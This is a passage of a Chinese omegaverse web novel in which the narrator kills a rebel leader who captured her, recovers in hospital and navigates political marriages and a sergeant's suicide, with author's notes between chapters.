“卡萨!卡萨你个鳖孙!你给我起来!” 我一个beta都没好意思晕,你个alpha好意思晕……差点忘了白矿石对alpha特攻。 你可不能死啊,塞兰德斯我得不到,总不能你也得不到吧? 你要是死了,我的奖金怎么办?我辛辛苦苦大老远跑过来总不能什么都捞不着吧? 不管了你欠我一万块! 于是我努力从腮帮子里抠出一颗胶囊塞进卡萨嘴里,然后打她巴掌。 也不知道卡萨吞进去没有,反正我是被昂撒的人逮住五花大绑扔进车里。 我有预感,我这次是真的要死了。 昂撒不是什么心慈手软的人,今早我才弄过他一次。谁都没法忍受自尊心被踩了又踩。 之所以没现在崩了我是因为想亲手弄死我。 那我该说什么? 我要说十分感谢昂撒大人,能因为你想要亲手弄死我以至于我能活更长久,我倍感荣幸。 那昂撒就会点点头表示他知道了,现在就枪毙我。 阿丽你在哪我又要死了! 接下来的事情我已经不知道了。 眼前一黑,被他们扔进武装车里,然后昏死过去。 “这是谁?” “卡萨古奇伽。” “塞兰德斯古奇伽中士的妹妹?” “嗯,首领的意思是不留活口。” 枪口对准地上昏迷不醒的alpha女性,叛乱党成员正准备扣动扳机。 “砰!” 死去的不是卡萨古奇伽,而是持枪人。 另一人大惊,以最快的速度退回武装车,“我们先走!她们也要炸矿洞!”—— 作者有话说:一旦开始写女人,就发狠了,忘情了,脑子里就剩下战友情朋友情母女情挚友情……甚至恨海情天。 什么姐妹理念相悖固执己见拉不回来啦,什么平时互相犯贱但关键时刻拉一把啦,什么无问缘由总之就是要帮助你啦,什么新老狐狸互相算计啦…… 第89章 这已经是第几次开启生死局了? 小白不知道,小白不记得,小白不想面对。 但该来的总会来,就算小白装死也躲不开该死的命运。 我昏迷了一路,醒过来的时候就发现自己已经被人绑在架子上了。 嗯,有点变态,我不喜欢。 这里比今早的小黑屋大,想来就是昂撒的大本营。 看着那边正在给手枪填装子弹的alpha男性,我长吁短叹,为自己的悲惨命运默哀……不,还是不要提前默哀了,不吉利。 好吧现在默哀也可以,毕竟死期将至。 “醒了?” 我笑笑不说话,假装自己没听见。 昂撒仔细检查手中的老式手枪,又用干净的手帕仔仔细细擦拭一遍,确认五颗子弹全部填充完毕,他才转眸看向我。 光线有点昏暗,我猜测现在应该是21日凌晨四点左右。 又是21日,跟我过不去似的。 昂撒拿起老式手枪,站起来迈开步伐一步一步朝我走过来。 到这种时候,我也不得不面对生死存亡的问题。 “无垠,我到底给过你多少机会?”昂撒问我。 枪口抵住了我的额头,有点疼。 好吧现在我全身上下都在疼,比起这些额头上的疼痛微不足道。但换算一下,还是额头更紧要点,毕竟脑子没了就是真没了。 于是我也抬起头,勉强摆脱额头传递的不适感,“不记得。这些事情做太多,老师你的存在感低了很多。” 话音刚刚落下,枪口又重新摁上去了。 我疼得抽气,“老师,咱们也不一定要闹到这个程度吧。” 昂撒居高临下看我,鸦色的眼眸几乎与周围昏暗的融化为一体。 这个角度实在不好观察微表情。 但我还是忍着疼,尽可能昂着脖子,对他展露出乖巧老实的笑容。 “老师,当初你也没告诉我无人区会发生叛乱呀?”我首先打出苦肉计,“当初我吃不饱穿不暖,想要找老师带我离开无人区,可老师一个字都没有向我提起过。我每天都心惊胆战生怕你抛弃我,最后想来想去,没办法才那么做的。” 昂撒颔首,枪口没有动,“你继续说。” 苦肉计没用,那就换个办法。 于是我微微吞口唾沫,眼眸下垂显出楚楚可怜的姿态,“老师,我当初没想着对你怎么样。我也很喜欢你,我手下留情没真的杀你。要是有机会再来一次,或者我们好好谈一谈,我相信我们……” 这次我话都还没说完,昂撒的笑声就打断了我。 肆意又张扬的笑声,还有一股子从小踩别人当板凳的优越天龙人味道。 “无垠,你在和我求饶?”他笑够了,就用疑惑的语气问我。 天,他是真的在疑惑! 我不是在求饶我还能在干嘛?辱骂你吗?虽然我也真的很想这么干,但实际情况是只要我吐出一句脏话我就脑子爆炸好吧! 脸又被掐住了。 我和昂撒的眼睛直直撞上,也清晰看见他眼底的嘲弄和讥讽。 “白无垠,你那可笑的自尊心就算是被人用枪指着也改不了一点。” “你啊,和那群上行城衣冠楚楚,所谓光荣去死也不想被底层杂种侮辱的人一个德行。” “……”我不说话了。 昂撒的手指收紧,直至用手指在对方的面颊上留下红痕,才兴致缺缺地松开她。 六年的学生,用骨血把她喂养长大。可惜没有把她养成一个优秀的同盟,反而教养出一个自相矛盾的白眼狼。 她好像一直在卑躬屈膝,一直做出委屈巴巴老实乖巧任人欺负的样子。花心滥情,虚荣虚伪,贪生怕死,对强权谄媚对弱小鄙夷。 似乎只要是和她相处久了的,掌握点真正权利的人都知道她到底是什么德行,也由着她这般德行自由生长,然后长到现在这幅模样。 这人多么擅长伪装,靠着花言巧语和精湛的演技,愣是把她的自尊和骄傲伪装成另一幅模样。 听听这人刚才所谓“求饶”的话,那是求饶的话吗? 话里话外透露的意思都是“你怎么能和我作对呢?你怎么不早点去死呢?你怎么能让我委屈自己来成全你的自尊呢?你怎么就不能在那个时候向我服软呢?” 正常人求饶该是什么流程?会痛哭流涕,会追悔莫及,会声嘶力竭不择手段地跪在他的脚边求他留下一条命。 再看看她,就算四肢五花大绑,也要把头抬得高高的,一句服软的话也不愿意真情实意说出来。 所以昂撒忍不住拍打白无垠的脸,用疑惑的语气继续发问:“白无垠,别和我扯那些没用的东西。你能回到我身边的机会比你的情人还多,但你一次都没有。” “你不见得多恨我,我当然也不见得多恨你。哈哈哈哈哈,要说那恶心的词语?我们谁都嫌恶心,毕竟我们是师生,我知道的你也知道。” “所以你再怎么说都没用,你为了你那点……” 昂撒在脑子里搜索一番,才重新扬起肆意的笑容,拇指压住白无垠的嘴角,和她冷淡的眉眼对望。 他说:“只要你是为了贫民窟十几万人的公道,就注定和我们之间要死一个。” 这段话就像一把锋利的剪刀,将两人的关系彻彻底底地撕扯开来,露出里面从没有贴合在一起的心脏。 两人本质是一类人,但又互相排斥,理念相悖。 谁都不恨谁,彼此也不会用有点恶心的“爱”来形容这段关系。只是立场相悖,利益冲突,再加上一点其他东西的催化,所以现在两人之间必须死一个,不然后续的日子里会伴随各种各样难以解决的麻烦。 白无垠的眼眸冷淡,完完全全展示了什么叫白眼狼的本色,甚至漠然到了眼睁睁看昂撒扣动扳机的动作都没多少变化。 在即将射出第一枚子弹时,白无垠忽然说:“要上床吗?” 子弹偏移了位置,惊险擦过白无垠的鬓角。 静默了几秒后,白无垠听见昂撒嗤笑一声。 紧接着,昂撒抬起腿将她踹倒仰躺在地,“想让我把你的手解开?” 白无垠:“你不想吗?这都不给吗?” 这次昂撒没有回答,而是弯下腰双手撑在白无垠的两边,一点点往下。 这地方实在不是上床的好地方,而且两人身上都带着伤。 但情况特殊,对白无垠来说是《最后的晚餐》……这荒诞笑话撒旦来了都得拍手叫绝。 总之白无垠不要动,只需要分出点力气看昂撒就好。 脖颈,锁骨,胸脯,腰腹。 明明隔着衣物,但alpha过高的温度还是让白无垠感觉到一股股热浪涌上来。 当舌尖扣动腰上的扣子,白无垠的眼睛眯起来。 高大的alpha男性弯下脊背,几乎是缱绻地匍匐,用舌尖带起热潮。 铁锈的腥味和刺痛一起充斥白无垠的口腔,她缓缓从鼻腔呼出一口气,然后——颠倒! 不知道是谁拉响了大本营内的警报,热武器炸开后卷起的火舌冲上云霄。 老式手枪在争夺中擦枪走火失去了三颗子弹,还剩下最后一颗时落在了白无垠的手中。 “砰!” 房间们被撞开,然后就是面面相觑。 “等,等一下,你让我穿个裤子。” alpha女性:“……抱歉。” 她刚刚离开一秒钟,又马上冲回房间和昂撒扭打起来。 仅看身手,竟然和阿丽不相上下! 我将皮带系到最紧,抓着老式手枪加入了对昂撒二对一的群殴当中,毫不留情地用原本束缚我的绳子给昂撒来了个五花大绑! 哈哈哈总算是给我抓住了吧! 昂撒遭到我的偷袭,又被联合二打一,很快就落入下风被我拽着离开房间。 外面已经一团乱,热武器爆炸的声音和子弹擦破空气的声音交杂在一起,硝烟和尘土弥漫,铁锈味直冲鼻腔。 和alpha一起来的士兵还有很多人,纷纷掩护我和她一起离开建筑物。 “你是卡瑟娜?”我抽空问了身边的女人。 女人点头,没什么表情,“嗯。” 我不知怎么的松一口气,“好在你们看清楚了我留下的信号,不然我得死。” 刚说完,卡瑟娜的表情就古怪起来。 好吧我提起了不得了的事情,干脆闭嘴吧。 “她们俘虏了首领!” 这一场偷袭追求的速度和火力覆盖。 “你确定所有士兵都服用药物了吗?” 卡瑟娜点头,“足够了。” “轰——”又是一声爆炸。 我和卡瑟娜卧倒在地,连着昂撒也被迫跌倒。 武装车就在前面了,我撑着力气爬起来,“卡瑟娜!把昂撒抓回去!” 然而还不等卡瑟娜动手,昂撒对着我却露出一抹过分兴奋的笑容。 这个死变态要干嘛! 他说:“你觉得我会没准备?” 卡瑟娜瞳孔骤缩,“退后!” 几乎是一瞬间,我被卡瑟娜拉着退到了武装车的后面! 炸弹从地底下炸开来,冲破了坚硬的钢筋水泥,也冲碎了士兵的躯体。 尖锐的耳鸣像是一根根针扎进我的耳朵,搅动我的大脑。这下不仅仅是四肢疼,五脏六腑都在疼。 如果不是卡瑟娜临时拉我一把,我真要被炸死了。 响彻云霄的爆炸结束后,就是死一般的寂静。 我躺了一会,脑子里那股劲把我拉起来,去检查旁边的卡瑟娜。 不愧是alpha,传奇耐活王,体质就是比beta厉害。 “卡瑟娜,还能动吗?”我问她。 卡瑟娜的两眼有些懵,甩了甩脑袋后,喘着粗气看起,没一会就点头:“嗯,可以。” 姐们你沉寡言少语过头了哈。 “帮我解决其他人,我要杀了昂撒。” 我没给卡瑟娜拒绝的机会,在报废的武装车上拆了个能支撑自己的拐子,就绕开武装车观察四周寻找昂撒的身影。 不能错过机会。 以昂撒的性子,这一次给他逃了,就真抓不会来了! 周围很安静,但也有几个耐活王爬起来。 从对方乌漆嘛黑的脸上我分不清属于军事区还是叛乱党,但我不在乎了。 我不愁找不到昂撒。这个死变态就是化成灰我都认识。 以我优秀的视力,我磕磕巴巴撑着拐子来到一坨黑乎乎的躯体旁边。 卡瑟娜也艰难地站在我旁边,递给了我一把枪。 “不用,我有。”我吃力检查了一遍老式手枪,确认最后一颗子弹还在,也不会卡壳后,就蹲下来将枪口对准昂撒的太阳穴。 躺在地上的男人睁开眼,不知道是眼睛看不见了还是怎么的,眼神很空洞,虚焦在某一处。 “你还有其他下属会过来对不对?”我低声问,同时扣动扳机。 这死变态还想笑,但没力气笑。 呵,这时候还想装天龙人的体面啊,我告诉你,只要小白在,谁都体面不了! 于是我干脆低下头,狠狠给了他一嘴巴。 他嘴角不动了。 要说遗言吗? 不给,你就乖乖去死吧。 “砰!”的一枪。 老式手枪最后一颗子弹消耗完,也彻底报废。 周围又一次安静下来*。 清晨的阳光再一次穿破厚重的尘土,乱七八糟地落下来。 我感觉脑子里某一根紧绷的线断裂了,随之而来的是惊呼惊喜的放松。 死了,终于死了。 白灯湾知道我干了这件事后会怎么弄我?卡特勒知道了会怎么弄我?失去叛乱党的拉扯,组织真的可以和白灯湾打平手吗? 军力够不够?金钱够不够?克亚区已经准备好了吗? 意识模糊的我感觉有人接近,好像是阿丽。 “快死了?” “失血过多,大脑损伤,就算活过来也会变成智障。” “白无垠!” 阿丽说话了:“一万块。” 我猛地睁开眼从病床弹起来,“我说了找组织报销!”—— 作者有话说:昂撒终于死了啊(如释重负) 第90章 太好了,我没死。 大概是上帝把我丢回来了吧。 阿丽站在病床旁边,身上也有些伤口,但对比起我来说还是过分健康了。 她见我醒过来,眼底透着一些小得意对旁边的卡萨说:“你看,我让她醒了。” 卡萨:“我感觉你说一百块她也能醒。” “真的吗?” 卡萨露出贱嗖嗖的笑容,“真的,不信的话你把她打晕,然后再叫她一次。” “你们当我不存在吗?阿丽别听她的!”我及时阻止了阿丽准备举起来的拳头。 阿丽遗憾收回手。 胡闹一通后,我才有时间观察周围的情况。 不是医务室,而是更正规地军事医院,并且是设施齐全的单人病房。 “卡瑟娜呢?”我问道。 卡萨正准备回答呢,病房门就被人从外面推开,紧接着是熟悉的吵闹声。 卡诺卡脚步迅速地跑进病房,身后是存在感低的约西尔,以及没什么表情的卡瑟娜。 看到这幅场景,卡萨直接把嘴闭上了,再次给我投递一个同情的眼神。 我直觉这眼神不对经,一股子浓浓不祥的预感涌上心头。 等等!卡诺卡!卡瑟娜!还有约西尔!这三人凑在一起能发生什么? 不要吧,最好别吧,我刚死里逃生回来! “白无用!”卡诺卡上来就扑到我的床边,半点没看见我被他冲到伤口疼得龇牙咧嘴的表情,“你真是没用死了!怎么又被他们抓着啊!要不是姐姐去救你,你早就死了!你真是对不起我!你得好好向我道歉!” 我脸色苍白,“诺卡,你,你退后一点……” 卡诺卡一愣,正准备继续发火,就被卡瑟娜压住了肩膀。 “诺卡,你压到她的手了。” 卡诺卡立刻把身子收回去了,眼神游移了一下,又理直气壮地看过来,“那是她自己笨。” 单人病房的空间本来就不大,多了三个人显得十分拥挤。 卡萨直觉等会将发生点不得了的事情,于是拉上阿丽要往外走。 阿丽不想走,她就一胳膊肘揽住阿丽的脖子,小声在她耳边说:“人家一家子见面,你在这里当什么电灯泡?还想替白无垠打架么?” 阿丽理所当然,“她现在打不了,我得帮她。” “你管不着!” 卡萨和阿丽就这样离开了单人病房。 我敏锐察觉到卡萨和阿丽两人离开后病房内一瞬间陷入的诡异氛围,于是立刻端出老实本分又憨厚的表情,紧张局促又感激地看向卡瑟娜,“将军,谢谢您能来救我。” 卡瑟娜:“……不用谢。” 大概是觉得没解释清楚,于是她花了两秒钟阻止语言,继续说:“也多亏你帮忙,我才能摆脱叛乱党的控制。” 这话是说给卡诺卡和约西尔听的,方便后续糊弄卡特勒。 她解释完,又是十几秒的安静。 约西尔站在病床的另一边,垂着脑袋不说话。 卡诺卡一个眼神瞪过去,他就委屈地红了眼眶,退后了一步。 “咳!”我在卡瑟娜第二次开口前飞速打断施法,“将军身上也有伤,没必要亲自过来看我吧。” “我是alpha。”卡瑟娜又说。 我:…… 我知道你很不擅长聊天了,有什么事直接说就好,不要为难自己好吗?但凡你不是组织的内部成员我都要花言巧语忽悠你了,但你偏偏是组织的人。 你还是个肉眼可见真正的老实人! 思来想去,指望卡瑟娜主动开口是不可能了。 我换上了严肃的表情,温柔想要握住诺卡的手。可刚刚把手放上去,卡瑟娜的眼神就冷飕飕钉到我的手背上,于是我又假装正经地把手收回去了。 “咳,诺卡,你和约西尔先离开吧。我和将军还有工作要谈。” 卡诺卡压根没看见卡瑟娜的眼神,一听又要出去立刻不高兴了,反客为主握住我的手,“那你总得表示点什么吧!” “我们明明就在一起,可你总是去别的地方,还差点死了。你难道不应该庆幸自己还活着能见到我吗?” 盯着卡瑟娜的眼神,我汗流浃背,简直比被克斯蒂抓奸在床还胆战心惊。 可恶白无用你支棱起来啊!不就是你的大姑姐嘛,有什么好怕的!大家都是一个组织的人,不久前还是救过命的交情,她总不能当场拔枪弄死你吧? 而且你又没有真的碰过卡诺卡! “啊……”我眼神游移,下意识把脑子垂下去,面颊和脖颈通红一片做出木讷不擅长表达感情又好欺负的可怜模样,“诺卡,大家都在呢,别这么说。” “什么?为什么不行?”卡诺卡不满撇嘴。 “诺卡。”卡瑟娜开口了,“和你的朋友出去一下。” 卡瑟娜都主动开口了,诺卡也只能乖巧地答应。 对着约西尔,他又变得理所当然趾高气昂,“走了,约西尔。” 约西尔对着我和卡瑟娜抿唇一笑,跟上卡诺卡一起离开了单人病房。 很好,现在病房内就剩下我们两人了。 我开门见山,“将军,您有什么指示……” “约西尔霍里是你的情人。”卡瑟娜直截了当。 不是,上来就这么直接吗? 虽然话是没错说,这件事情组织内的人也知道,我也没多少羞耻心当着番苏当人的面承认过,但面对卡瑟娜我就是诡异地心虚。 大概因为她是我明面关系上的大姑姐吧。 “组织内的祁圆,简家族的克斯蒂,霍里家的邦林顿和柯里亚纶,还有被你杀死的斯科特这一对,你的弟弟阿沐。”卡瑟娜就跟报菜名似的把和我勾勾缠缠的情人们念出来,“首领也和我提过一嘴,她的孩子帕菲尔隆多也和你有过关系。” 说完这些,她安静了一秒,继续说:“昂撒斯科特也是。” 吐出的名字越多,她看我的眼神就越冷飕飕,目光在我的后脖子上来回扫视。 接下来分明没话说了,我却感觉她用眼神生动形象地诠释了什么叫“眼神里带刀”。 “诺卡很喜欢你。”她又说,“他也知道你有情人。” “……哈哈,我真是倍感荣幸。”我有点虚弱地说道。 “断了。” “不行。” “断了。” “真不行。” 卡瑟娜眉头皱起来,“你和诺卡会结婚。” 事已至此我也不想再装什么乖巧憨厚的老实人,呼出一口气后,我对卡瑟娜说:“卡瑟娜,这不是说断就断的。你了解番苏,也了解首领,她们不会允许有任何可能干扰组织任务的东西存在。既然她们默许,那就说明对组织有用。” “就拿刚刚死掉的昂撒做例子,如果不是我和他有段关系,我可能找到机会杀了他吗?如果真没有丝毫的情感可言,我等不到你出来救我,20号我被俘虏当天我就会被他一枪弄死。” 这话说的没问题,卡瑟娜也清楚。 卡瑟娜这人已经背叛了阶级背叛了母亲,对愚蠢但无知的弟弟有一种偏执的保护欲再正常不过了。 我至今为止没碰卡诺卡,嘴都没敢正式亲一下。为的是什么,为的就是现如今这般场面。 哼!要不是小白把持得住,我俩现在早就打起来了。 所以卡瑟娜你得感激小白的绅士行为!来,大声说谢谢! 哈哈,这段话我没敢说。我怕她真忍不住。 卡瑟娜的呼吸沉了沉,“……以后断了。” 我再次把眼珠子转到另一边,“你说什么?我好像听不见了。” “以后,断了。” 我无奈举起双手,不再客气称呼将军,而是直呼其名,“卡瑟娜,我不打算和他结婚。” “诺卡喜欢你。” “但我不喜欢他。” “你喜欢约西尔霍里?” “这个嘛……哈哈,感情的事情谁说得准呢?” 卡瑟娜的眼神一下子变得诡异了,“你喜欢组织里的人?” 我直觉不对劲。 “你喜欢阿丽?” 我立刻像是受到了侮辱般蹦起啦,“天地可鉴,到底是谁胡乱造谣!我和阿丽清清白白,我和组织里除了祁圆之外的所有人都清清白白!” 卡瑟娜不信我,眉头越皱越紧。 我还打算朝天发誓,病房又进来一个人。 是塞兰德斯古奇伽。 她表情严肃地进门,抬眼一看就发现我和卡瑟娜不怎么和谐又透着诡异的氛围。 “将军?” 卡瑟娜收回腰间的手,“嗯。” 我:你以为我看不见你拔枪的动作嘛!我们的伙伴情呢? 我真不敢想,但凡我真的控制不住好色心碰了卡诺卡,我得面临什么局面。 我坐回了病床,也跟着摆出严肃脸,“古奇伽中士,您有什么指示吗?” “上行城发来命令,要求你最晚明天晚上回去。”古奇伽中士说道。 她先是眼神复杂静静地看了我一会,语气中显出几分疲惫,“你发布在各个社交平台的视频已经在整个克亚区流转一遍了。此外,昂撒斯科特被你击毙的消息也传了回去。” “因为你的行为打乱了白灯湾所有的计划,现在军事区不得不对叛乱党进行彻底的清算,再过不久会爆发更大规模的战争。” “为了你的安全,也为了后续更好处理麻烦,你必须回去。” 她一次性说了大串词语,可我还是觉得她有很多话没说出来。 可能是碍于卡瑟娜,也可能是她自己本身的问题。 我回望古奇伽的眼睛,从她的眼睛里看出了很多东西。 静默一会,我低声对古奇伽说:“古奇伽……不,塞兰德斯,我能以朋友的身份,和你单独聊一聊吗?”—— 作者有话说:今天去看了《731》,刚开始觉得有些尴尬,像我奶奶看的抗日神剧。但等到后面心情就沉重起来,压压地闷在胸口,哭又哭不出来,骂也骂不出来,像被什么堵住了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 刚开始进入军事区,我斗志昂扬,并发誓一定要把一万块奖金拿到手。 但塞兰德斯的性格出乎我的意料,导致现在我不确定……不,我笃定我无法说服她。 她不是没有察觉到白灯湾的不对劲,也不是没有察觉出这些年白灯湾利用白矿石做了什么事情。但她还是选择把眼睛捂住,耳朵捂住,甚至心存侥幸认为只要没听见没看见,一切就不存在。 她是一位优秀且忠诚的士兵,但很显然在某些时候她很愚蠢。卡萨在这方面比她聪明多了。 塞兰德斯首先看向卡瑟娜。 这短短的对视时间里,彼此都从对方的眼睛里看见了很多复杂的东西,沉甸甸压在心口。 卡瑟娜离开了病房。 塞兰德斯坐在我的病床边,冷峻的眼神轻飘飘落下来。 她应该是想说什么,但不知道从什么话题开始,于是只能等我这个巧言善辩的参议员开口。 但我不着急。我刚刚醒过来,浑身还很疼,闹腾好一会后需要歇息。 就这样安静了许久,我才缓缓呼出一口气,“塞兰德斯,阿沐如何了?” “他很好,已经转移回上行城了。” 叛乱党偷袭虽然在我的意料之中,但做戏做全套,我没有让人继续保护阿沐,只是让他找阿丽躲藏好。 好在他自己聪明,加上阿丽安排好了,所以不用担心他的安慰。 “他那半张设计图被丢失了吗?”我问。 塞兰德斯嘴巴闭上,眼眸垂下,“你知道白灯湾会抢走设计图。” 她终于不再遮遮掩掩了。 我扬起笑,“我把阿沐的存在告诉你,就知道会丢失。不过我不担心她们拿了设计图会如何,那些参数都是错误的。” “哗啦——”塞兰德斯拉开了椅子坐下,脊背依旧笔挺,坐姿端正。 她在军事区生活了十几年,生活习惯已经融进了她的骨子里。 这一点我自愧不如。反正到现在我也没改掉偶尔用通讯器刷点漂亮小年轻的情感视频,顺便在下面留下点指导感情的建设性评论。 “你想和我聊什么?”她问我。 “我觉得其实是你想问我。因为我看出来了,所以主动挑明。” “……”塞兰德斯又一次失语。 这已经是第二次让房间内陷入安静了,又不知道该怎么寻找话题。 良久,我直言不讳:“你知道白灯湾想要处理掉你吗?” “卡萨刚刚和我说了。” “你想死吗?”我问。 这好像是个废话。 我以己度人一下,我不想死。 塞兰德斯也像是听见笑话般,扯出一抹笑。可笑容转瞬即逝,又把嘴角扯平了,恢复冷峻严肃的样子。 “我不知道你想不想死,但我知道白灯湾不会放过你。这一次之后,白灯湾清楚你已经知道很多事情了。你是会议的主要参与人,是将军离开之后和叛乱党的主要对接人。现在克亚区舆论发酵,你作为主要谈判人之一,白灯湾一定会为了平息克亚区怒火找理由对你动手。” “明天之后军事区就要对剩余的叛乱党彻底清算,也就是说最晚明天她们的命令就会下达。你觉得是什么?”我看直视塞兰德斯的眼睛,“你希望你的罪名是什么?协助叛乱党?推进不和谐谈判?还是绑架将军的帮凶之一?。” “白无用。”塞兰德斯打算我。 “白无垠。”我伸出一只手,“这是我真正的名字。” 塞兰德斯握住我的手,“将军和你们是一起的吗?” “对。” “你们也在使用白矿石吗?” 我抬起眼眸,“我们和白灯湾不是一丘之貉。” 塞兰德斯收回手,放回了膝盖上。 房间内迎来第三次沉默。 又不知道过去了多久。 我听着时钟发出滴答滴答的声音,外面悠长的军号响起,然后跟随太阳一起落山,直至病房内的光线昏暗下去。 已经到晚上了。 我数着时针转动的角度,仔细观察塞兰德斯的表情。 她还是那副表情,但放在膝盖上的手越抓越紧。 在我以为她还是选择保持装聋作哑状态时,她忽然把手松开了。 像是第一次呼吸新鲜空气般,她深长地呼吸一口气,然后说:“卡萨很年轻,也比我更聪明。只要给她时间和成长空间,她会比我更优秀。” 我点头,“会的。” 塞兰德斯得到了我的承诺,嘴角上扬。 上行城的命令运转很快,克亚区的舆论爆发速度也很快。 原本定于明日清晨出发的行程,提前到今晚七点就要出发。 我再次觉得alpha的身体素质比牛还牛,已经不是传奇耐活王来形容了。 卡瑟娜早上能下床,下午就能整个军事区来回跑,还能有空出来的时间精力和卡诺卡吵架。 别误会,我没有偷听。 我虽然没多少素质,也没多少道德,但不利于身心健康的事情我都会躲远。这只是没地方躲了,我听见的。 吵架的内容也就那一些。 我觉得卡瑟娜蛮可怜的,竟然从吵不过卡诺卡。 听她几个字几个字往外蹦,我都替她着急。 离开前几个小时,卡萨也找到了我。 她眼眶有些红,但看着没什么问题。 “塞兰德斯找你谈过了?” “嗯。” 我静静看了眼卡萨,让替我推轮椅的小林离开。 小林有些忐忑,局促不安地思考该怎么办。 她这段时间错过了很多我的事情,打小报告都困难,这会再离开简直对不起卡特勒给的高薪。 但我是个冷酷无情的上司,还是让她走了。 等人离开,卡萨就开口:“我知道她会怎么做。” “你要阻止吗?” “……不。” 我沉吟一会,问:“那你现在是我们编外人员了?” “嗯……不是为你们,只是我想给自己个交代。” 我轻笑,“哇哦,那这是我们的荣幸?” 她一拳头打在我的伤口上,“小白脸,闭嘴吧。” 我顿时抖如筛糠。 我的伤势严重,光是医疗器械就要准备好,还得安排好车辆。 以防叛乱党报复和反扑,卡瑟娜特意安排了卡萨带队护送我的安全。 我提出换个人护送,毕竟卡萨还有更重要的事情要做。但卡萨拒绝了。 “我怎么样也改变不了结局,还不如好好护送你,免得你这个脆皮五花肉被人弄死。” “那我可谢谢你啊。” “应该的,觉得感谢就让组织把给你的奖金交给我。” “那你不如让阿丽给你打工。要我的钱,那就是要我的命。” 车队行驶,越过各种军事区建筑物,关卡的轮廓渐渐显形。 我操作着通讯器翻看克亚区的舆论走向,已经看见了好几个被官方压制的游行苗头。 杜塔利雅痛斥白灯湾和上行城的视频被反复上架和下架,各种渠道各种压缩的图片在隐秘的角落流传,然后爆发出一次又一次的言论声讨。 白矿石,上行城,白灯湾,叛乱党词语屡次出现在评论区内,然后被控评的官方删除。 克亚区终于乱起来了。 我总有种风雨欲来的预感,还有一种恍如隔世的感觉。 我离开贫民窟多久了?不对,是一切事件的开始到现在过去多久了?好像刚刚好三个月,听起来很短,但发生的事情就很多。 百无聊赖地继续刷媒体,直到一条标红的新闻标题突兀地刺进眼睛里。 《8月21日晚9点12分,军事区中士头衔塞兰德斯古奇伽被人发现自尽于办公室内,并留下长达千字承担再谈判失败责任遗书》 再下面,是打了马赛克的图片。 中士坐在她的座椅上,脊背挺直,左手放在膝盖上,右手垂下保持扣动扳机的姿势。在马赛克的遮掩下,她的脑袋微微向左偏移,隐约能看见太阳穴的位置通红一片。 我说不清那是什么感觉,想和卡萨说些话,但她忙着护送车队没空,于是只能遗憾地收回想法。 车队终于离开了关卡。 我从后车窗看见卡萨的身影。年轻气盛,头颅抬得很高,还是那桀骜不驯的臭屁模样,瞧着欠揍。 我还是没和她说塞兰德斯的事情。直觉告诉我,这件事她自己去看更好,我主动挑起话题反而显得没素质。 我被转移到了上行城的医院内,享受到了相当好的福利。 亲手射杀叛乱党首领这事别管白灯湾怎么想,反正明面上是大功臣。在这个节骨眼上我但凡出点问题,克亚区绝对会爆炸,然后从文明的游行变成不文明的游行。 现在军事区可空不出军力来压制暴民,白灯湾也不会傻兮兮给罗拉蒂尼递一个导火索。 卡特勒首先过来看我了。 还是那副笑盈盈的老狐狸的样子,不知道的还以为我才是她的亲生女儿。 但不可否认,她确实对我真情实意了一点。 “无用,真是辛苦你了。”她笑道。 我扯了扯嘴角,戴上憨厚的面具,用心有余悸的表情说:“多亏了卡瑟娜,如果不是她及时出现,我真死了。” “哈哈哈。”女儿被称赞,卡特勒心情愉悦。 “要是姐姐也跟着回来就好了。”卡诺卡小声埋怨。 “诺卡,瑟娜有很重要的工作。”卡特勒摸了摸他的脑袋,“但这一次后,无用和你的婚约可以提前。” 我和卡诺卡同时愣住。 “团长大人,您这是什么意思?”我小心翼翼询问。 卡特勒面带和蔼又亲切的微笑,“参议院第五席位的番苏明天正式上任院长位置,副院长的位置在众议员的推举下由你来担任。” 我下意识提问:“那原来要上任的副院长呢?” “自然是以煽动上行城和克亚区矛盾的罪名入狱了。她的同党海今被她杀人灭口,尸体今早被人发现在办公室内。” 卡特勒说完,我都不知道该怎么反应。 番苏的效率高得可怕啊,能刺杀的刺杀,能扳倒的扳倒。 我和卡特勒对望,忽然说:“团长大人,番苏和你聊过我的事情吧?” 她承认了:“你在军事区表现出的能力让她很感兴趣。她也是军事区出来的人,曾经也和瑟娜共事过一段时间。” 原来如此,我说为什么效率那么高。 “柯里亚纶霍里没表示什么么?”我问。 “他啊……”卡特勒摩挲手拐的顶端,“他是难得稳重的年轻人,知道怎么忍耐才能得到更大的好处。” 第92章 柯里亚纶确实能忍啊,到嘴的鸭子被别人抢走了,还得强颜欢笑假装自己他不是不吃而是还有更好吃的。 他之前想要和卡诺卡订婚攀上卡特勒,好为以后自己进入陪审团铺路。但这条路被我堵上了,就只能老老实实在参议院熬资历。可我再次横插一脚把他的副院长位置抢走了,我替他想想都觉得难受。 嘻嘻,但我是受益方,所以他只能忍着。好爽哦,想到过几天他看我时忌惮痛恨我又下意识夹紧屁股的样子就更爽了。 不过我现在还有一个比较严重的事情。 卡特勒让我下个月月底就和卡诺卡结婚。 有点严重过头了,甚至涉及到我的原则问题。我今天才和卡瑟娜说过不会和卡诺卡结婚,当晚我就被安排上了。 糊弄过卡诺卡和卡特勒后,我所在病床上抬起倔强的双手对准上方的空气来了一套军体拳。 冷静点小白,区区结婚而已又不是什么大事,你干的其他缺德事还少吗? 可恶就是缺德事干太多了所以才遭到报应了啊! 头脑一阵风暴后,我忽然感觉到精神振奋,一种前所未有的思想冲击我的思想,让我茅塞顿开。 结婚也是下个月月底的事情了,有什么大不了的!来上行城三个月了,谁又能想到我来之前还是个靠吃软饭才能成为法院实习生的小白脸的? 所谓船到桥头自然直,肯定有其他的办法! “哎!就是这个休息爽!”我发自内心从胸口震出一句感慨。 “哈哈哈!”番苏发出畅快的大笑。 我:“……你在这多久了?” “大概是你勒索空气的时候。”番苏笑道,“你在床上扭曲成虫的样子还挺稀奇。” “够了,说正事。” 番苏也知道时间紧任务重,嘲笑我几声后,就拉过椅子坐到我床边开始说我不在上行城的时间里她干了什么大事。 总得来说和卡特勒告诉我的消息差不多。 海今死了,副院长入狱,她做院长,我做副院长。 而与卡特勒不同的,是番苏已经抓住了柯里亚纶贿赂神职成员的证据,省的我以后栽赃陷害。 “你想现在把霍里弄下来吗?”番苏问。 我的手指下意识地敲了敲被子,没有声音。 思索片刻后,我说:“现在不需要了,柯里亚纶还有用。他和卡特勒之间又达成了某种利益共识,我担心真弄他反而打草惊蛇。” 番苏了然,手肘撑住膝盖,饶有兴趣看我:“首领说了,你想做什么,我都可以配合你。” 我点点头,随后陷入更深度的思考。 